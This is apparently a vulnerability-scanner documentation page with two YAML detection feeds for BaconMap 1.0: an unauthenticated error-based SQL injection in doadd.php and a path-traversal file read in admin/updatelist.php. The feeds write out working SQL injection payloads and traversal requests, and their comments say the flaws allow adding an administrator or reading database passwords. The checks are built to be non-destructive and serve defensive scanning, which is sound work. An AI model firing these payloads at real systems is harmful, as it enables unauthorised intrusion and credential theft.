BaconMap — 2 vulnerability checks
noctis ships 2 vulnerability checks for BaconMap, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
BaconMap doadd.php 'type' SQL Injection
| CVE | CVE-2010-4800 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/baconmap/CVE-2010-4800.yaml |
Tests BaconMap 1.0 for the unauthenticated SQL injection in doadd.php, which puts the type parameter into the table name of its INSERT query and prints the database error. In the /baconmap and /map folders and the web root, once login.php shows the BaconMap login page, the feed requests doadd.php with a type value that makes the database raise an XPath error carrying the product of two random numbers while it evaluates the inserted value, so the INSERT fails. On MySQL 5.0, which lacks the XPath functions, a duplicate-key error built from the same product is used instead, inside a query that selects no row. The correct product in the page confirms that the database ran the injected SQL; the product is not part of the request, so a page that only echoes the URL is not reported. No row is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/login.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/doadd.php?type=dep%20(c_id)%20VALUES%20(EXTRACTVALUE(1,CONCAT(0x7e,{{m.a}}*{{… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/doadd.php?type=dep%20(c_id)%20SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT({… - Parses / computes the next value with a Rhai script
- Checks
prooffor^(?:XPATH syntax error: ~[0-9]+|Duplicate entry [0-9]+:1)$→ finding QoD 97: BaconMap doadd.php 'type' SQL Injection (CVE-2010-4800)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-4800
- https://www.exploit-db.com/exploits/15233
- https://sourceforge.net/projects/baconmap/
Feed source — tests/vulnerabilities/baconmap/CVE-2010-4800.yaml
# BaconMap doadd.php "type" SQL injection — CVE-2010-4800
#
# BaconMap 1.0 (NMSU Research IT network resource mapper, PHP/MySQL, never
# updated after 1.0) builds the resource INSERT of doadd.php with the type
# parameter as part of the TABLE NAME, with no login (no authorize() call):
# $type = $_REQUEST['type']; (name must be set too)
# $query = 'INSERT INTO tbl_'.$type.' ('.$names.') VALUES ('.$values.')';
# mysql_query($query) or die("Could not insert new resource because ".mysql_error());
# The published exploit (exploit-db 15233) uses it to insert an admin account
# into tbl_user. The MySQL error is printed raw, so an error-based proof works.
#
# Detection (benign, write-free): once <dir>/login.php shows the BaconMap
# login page, GET <dir>/doadd.php with name=noctis and
# type=dep (c_id) VALUES (EXTRACTVALUE(1,CONCAT(0x7e,<a>*<b>)))#
# i.e. INSERT INTO tbl_dep (c_id) VALUES (EXTRACTVALUE(...))#<rest commented>.
# MySQL >= 5.1 raises "XPATH syntax error: '~<product>'" while evaluating the
# value, so the statement fails and NO row is stored; the page prints the
# product of two random numbers computed by the database. tbl_dep is a
# BaconMap table with no key or auto-increment (dependency links).
# On MySQL 5.0 (no EXTRACTVALUE: "FUNCTION ... EXTRACTVALUE does not exist")
# the feed sends the FLOOR(RAND(0)*2) GROUP BY duplicate-key error instead:
# type=dep (c_id) SELECT 1 FROM (SELECT COUNT(*),CONCAT(<a>*<b>,0x3a,
# FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y WHERE 1=0#
# The error ("Duplicate entry '<product>:1'") is raised while the derived table
# is built; the outer WHERE 1=0 keeps the SELECT empty, so even a server where
# the trick does not error inserts nothing. QoD 97 (computed result returned).
#
# Improvements over the source NASL: the NASL only tests the file read of
# admin/updatelist.php (CVE-2010-4801, separate feed) and never this SQL
# injection, although it lists both CVEs.
#
# CVSS: CVE-2010-4800 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_baconmap_43908.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100853, GPL-2.0-only).
uid: a109a3d9-51e0-42fe-a069-f56ad893c4ab
name: "BaconMap doadd.php 'type' SQL Injection (CVE-2010-4800)"
description: |
Tests BaconMap 1.0 for the unauthenticated SQL injection in doadd.php, which
puts the type parameter into the table name of its INSERT query and prints
the database error. In the /baconmap and /map folders and the web root, once
login.php shows the BaconMap login page, the feed requests doadd.php with a
type value that makes the database raise an XPath error carrying the product
of two random numbers while it evaluates the inserted value, so the INSERT
fails. On MySQL 5.0, which lacks the XPath functions, a duplicate-key error
built from the same product is used instead, inside a query that selects no
row. The correct product in the page confirms that the database ran the
injected SQL; the product is not part of the request, so a page that only
echoes the URL is not reported. No row is written.
cves: [CVE-2010-4800]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [baconmap, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-4800"
- "https://www.exploit-db.com/exploits/15233"
- "https://sourceforge.net/projects/baconmap/"
# OpenVAS/Greenbone NASL 2010/gb_baconmap_43908.nasl (GPL-2.0-only)
steps:
# Random operands; the expected proofs are computed locally.
- id: mint
action: script
code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-product
action: script
code: '"" + (m.a * m.b)'
store_as: prod
- id: init-proof
action: set_var
var_name: proof
var_value: ""
# ── Loop group: every following step runs once per BaconMap folder location.
- id: init-login-r
action: set_var
var_name: login_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/baconmap", "/map", ""]
- id: init-xp-r
action: set_var
var_name: xp_r
var_value: {status: 0, body: ""}
- id: init-dup-r
action: set_var
var_name: dup_r
var_value: {status: 0, body: ""}
- id: fetch-login
action: http_request
method: GET
path: "{{dir}}/login.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: login_r
- id: gate
action: script
code: |
proof == "" && type_of(login_r.body) == "string" && egrep("(> to BaconMap\\.<|>About BaconMap|<title>Bacon Map Login</title>)", login_r.body) != ""
store_as: is_bm
# type=dep (c_id) VALUES (EXTRACTVALUE(1,CONCAT(0x7e,<a>*<b>)))#
- id: inject-xpath
action: http_request
method: GET
path: "{{dir}}/doadd.php?type=dep%20(c_id)%20VALUES%20(EXTRACTVALUE(1,CONCAT(0x7e,{{m.a}}*{{m.b}})))%23&name=noctis"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "is_bm == true"
store_as: xp_r
# The error text may be HTML-escaped by a front end; accept the quote in any
# common form, or none.
- id: verdict-xpath
action: script
code: |
if proof != "" { proof }
else if is_bm == true && type_of(xp_r.body) == "string" && egrep("XPATH syntax error: (?:'|�?39;|'|')?~" + prod + "(?:[^0-9]|$)", xp_r.body) != "" { "XPATH syntax error: ~" + prod }
else { "" }
store_as: proof
# MySQL 5.0 only (EXTRACTVALUE missing): duplicate-key error in a derived
# table; the outer WHERE 1=0 keeps the inserted SELECT empty.
- id: inject-dupkey
action: http_request
method: GET
path: "{{dir}}/doadd.php?type=dep%20(c_id)%20SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT({{m.a}}*{{m.b}},0x3a,FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)y%20WHERE%201=0%23&name=noctis"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'is_bm == true && proof == "" && type_of(xp_r.body) == "string" && egrep("(?i)FUNCTION \\S*EXTRACTVALUE does not exist", xp_r.body) != ""'
store_as: dup_r
- id: verdict-dupkey
action: script
code: |
if proof != "" { proof }
else if is_bm == true && type_of(dup_r.body) == "string" && egrep("Duplicate entry (?:'|�?39;|'|')?" + prod + ":1", dup_r.body) != "" { "Duplicate entry " + prod + ":1" }
else { "" }
store_as: proof
- id: report
action: match
source: proof
pattern: "^(?:XPATH syntax error: ~[0-9]+|Duplicate entry [0-9]+:1)$"
on_match:
finding:
title: "BaconMap doadd.php 'type' SQL Injection (CVE-2010-4800)"
description: "An unauthenticated GET to doadd.php with SQL appended to the type parameter made the database compute the product of two random numbers, which came back in the database error printed by the page. Any SQL the database account may run can be injected the same way, including inserting an administrator account into tbl_user or reading the users table."
remediation: "BaconMap is no longer maintained and no fixed release exists. Remove the application or restrict access to it, or patch doadd.php to accept only the six resource types (application, box, database, device, server, service) and to call authorize() before writing to the database."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/doadd.php with an injected type computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
stop: trueBaconMap admin/updatelist.php Arbitrary File Read
| CVE | CVE-2010-4801 |
|---|---|
| Severity | medium · CVSS 6.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/baconmap/CVE-2010-4801.yaml |
Tests BaconMap 1.0 for the unauthenticated file read in admin/updatelist.php, which passes its filepath parameter unchecked to file() and prints every line of the file in the page. In the /baconmap and /map folders and the web root, once login.php shows the BaconMap login page, the feed requests admin/updatelist.php with filepath set to ../login.php and looks for two lines of the PHP source of login.php that never appear in the rendered page. Their presence confirms that the server printed the raw file. A control request for login.php in an absent random folder must not return those lines, so a server that serves the same content on every request is not reported. Only the application's own login page source is read; no password or configuration value is requested.
How noctis detects it
- HTTP(S) request
GET {{dir}}/login.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/updatelist.php?filepath=../login.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/updatelist.php?filepath=../noctis-absent-{{oob_token}}/login.php - Parses / computes the next value with a Rhai script
- Checks
prooffor^login\.php source$→ finding QoD 75: BaconMap admin/updatelist.php Arbitrary File Read (CVE-2010-4801)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-4801
- https://www.exploit-db.com/exploits/15234
- https://sourceforge.net/projects/baconmap/
Feed source — tests/vulnerabilities/baconmap/CVE-2010-4801.yaml
# BaconMap admin/updatelist.php "filepath" arbitrary file read — CVE-2010-4801
#
# BaconMap 1.0 (NMSU Research IT network resource mapper, PHP/MySQL, never
# updated after 1.0) ships admin/updatelist.php, an editor for the drop-down
# list files of includes/. It does, with no authorize() call (no login):
# $filepath = $_REQUEST['filepath'];
# $thisfile = file($filepath);
# foreach ($thisfile as $line) { $line = trim($line);
# if (stristr($line, '#')) ... else echo $line . "\n"; }
# inside a <textarea>, unescaped. Any file the web server user can read is
# printed raw (minus the lines holding a "#"), PHP source included.
# NVD calls it an inclusion; the page reads the file with file(), it does not
# include() it, so nothing is executed.
#
# Detection (benign, read-only): once <dir>/login.php shows the BaconMap login
# page (any status — an unconfigured install redirects to setup.php but still
# sends the page), GET
# <dir>/admin/updatelist.php?filepath=../login.php
# and match two lines of the PHP SOURCE of login.php: the header comment
# "This file is the index page for BaconMap." and "unset($database);". Both
# only exist in the source, never in the rendered login page, so their
# presence proves the raw file was read. QoD 75 (response analysis).
#
# Improvements over the source NASL:
# - The NASL reads ../includes/settings.php, which holds the database
# account and password. The feed reads login.php's source instead: same
# proof (raw PHP source disclosure), no secret in the reply or evidence.
# - The login-page gate accepts any status code (the NASL requires 200 and
# misses unconfigured installs, whose login.php answers 302 + the page).
# - A control request for login.php in an absent random directory (same
# parameter, same file name) must come back WITHOUT the source lines, so
# a server printing the same content on every request is not reported
# (fail-closed: no control reply, or another status, → no finding).
#
# CVSS: CVE-2010-4801 v2 6.0 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_baconmap_43908.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100853, GPL-2.0-only).
uid: 0e08a483-8d56-409b-a276-8bd6baad50ed
name: "BaconMap admin/updatelist.php Arbitrary File Read (CVE-2010-4801)"
description: |
Tests BaconMap 1.0 for the unauthenticated file read in admin/updatelist.php,
which passes its filepath parameter unchecked to file() and prints every
line of the file in the page. In the /baconmap and /map folders and the web
root, once login.php shows the BaconMap login page, the feed requests
admin/updatelist.php with filepath set to ../login.php and looks for two
lines of the PHP source of login.php that never appear in the rendered page.
Their presence confirms that the server printed the raw file. A control
request for login.php in an absent random folder must not return those
lines, so a server that serves the same content on every request is not
reported. Only the application's own login page source is read; no
password or configuration value is requested.
cves: [CVE-2010-4801]
cvss: 6.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [baconmap, php, file-read, path-traversal, source-disclosure, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-4801"
- "https://www.exploit-db.com/exploits/15234"
- "https://sourceforge.net/projects/baconmap/"
# OpenVAS/Greenbone NASL 2010/gb_baconmap_43908.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per BaconMap folder location.
# Each pass resets the values it reads, so nothing is left over.
- id: init-login-r
action: set_var
var_name: login_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/baconmap", "/map", ""]
- id: init-read-r
action: set_var
var_name: read_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: fetch-login
action: http_request
method: GET
path: "{{dir}}/login.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: login_r
- id: gate
action: script
code: |
type_of(login_r.body) == "string" && egrep("(> to BaconMap\\.<|>About BaconMap|<title>Bacon Map Login</title>)", login_r.body) != ""
store_as: is_bm
- id: read-login-src
action: http_request
method: GET
path: "{{dir}}/admin/updatelist.php?filepath=../login.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "is_bm == true"
store_as: read_r
- id: verdict
action: script
code: |
if is_bm == true && type_of(read_r.body) == "string" &&
stridx(read_r.body, "This file is the index page for BaconMap.") >= 0 &&
stridx(read_r.body, "unset($database);") >= 0 { "login.php source" } else { "" }
store_as: proof
# ── Control: login.php in an absent random folder — must NOT carry it ──
- id: control
action: http_request
method: GET
path: "{{dir}}/admin/updatelist.php?filepath=../noctis-absent-{{oob_token}}/login.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'proof != ""'
store_as: ctrl_r
- id: control-verdict
action: script
code: |
proof != "" && type_of(ctrl_r.body) == "string" &&
(stridx(ctrl_r.body, "This file is the index page for BaconMap.") >= 0 ||
stridx(ctrl_r.body, "unset($database);") >= 0)
store_as: ctrl_hit
- id: report
action: match
source: proof
pattern: "^login\\.php source$"
condition: "ctrl_r.status != 0 && ctrl_r.status == read_r.status && ctrl_hit == false"
on_match:
finding:
title: "BaconMap admin/updatelist.php Arbitrary File Read (CVE-2010-4801)"
description: "An unauthenticated request to admin/updatelist.php with the filepath parameter set to ../login.php returned the PHP source of login.php, while the same request for an absent file did not. The same parameter reads any other file the web server user can read, such as includes/settings.php with the database account and password, or system files given by absolute path."
remediation: "BaconMap is no longer maintained and no fixed release exists. Remove the application or restrict access to its admin/ folder (for example with web server authentication), or patch admin/updatelist.php to accept only the four list files of includes/ (roles.txt, poctypes.txt, dbtypes.txt, ostypes.txt) and to call authorize() for administrators."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/admin/updatelist.php?filepath=../login.php returned the PHP source of login.php (\"This file is the index page for BaconMap.\", \"unset($database);\"); control for an absent file returned no source"
stop: true